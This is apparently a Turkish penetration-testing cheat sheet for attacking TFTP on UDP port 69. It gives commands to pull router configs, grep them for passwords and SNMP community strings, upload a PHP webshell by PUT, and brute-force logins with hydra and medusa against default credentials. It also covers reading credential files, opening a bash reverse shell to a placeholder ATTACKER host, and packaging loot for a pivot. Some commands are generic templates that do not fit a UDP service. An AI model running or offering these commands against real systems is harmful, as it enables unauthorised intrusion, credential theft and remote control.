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69/UDP TFTP/Bittorrent-tracker

TFTP fileshare

TFTP auth’suz dosya transferidir. Router config ve yazılabilir root klasik hedeftir. Hedef lab IP’si üzerinde komutları 69 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. UDP/69 doğrula.

  2. Bilinen dosya adlarını GET.

  3. PUT ile yazma dene.

  4. Config içinden secret çıkar.

Terminal window
nmap -Pn -sU -p69 --script tftp-enum TARGET
Terminal window
atftp TARGET
Terminal window
tftp TARGET
get running-config
get startup-config
get cisco.txt
Terminal window
tftp TARGET -c get network-confg
Terminal window
tftp TARGET -c put shell.php
Terminal window
grep -iE 'password|secret|community' running-config | head

/UDP TFTP/Bittorrent-tracker için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p69 TARGET
Terminal window
nmap -Pn -p69 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:69' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',69));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → /UDP TFTP/Bittorrent-tracker
Terminal window
hydra -L users.txt -P rockyou.txt -s 69 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 69
Terminal window
nmap -p69 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit TFTP
Terminal window
msfconsole -q -x 'search TFTP; exit'
Terminal window
nuclei -u https://TARGET:69 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:69 -tags tech -silent || true
Terminal window
nc -nv TARGET 69
Terminal window
printf '
' | timeout 3 nc -nv TARGET 69
Terminal window
curl -vk --http1.0 http://TARGET:69/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
tftp-enum → get configs → secrets → put webshell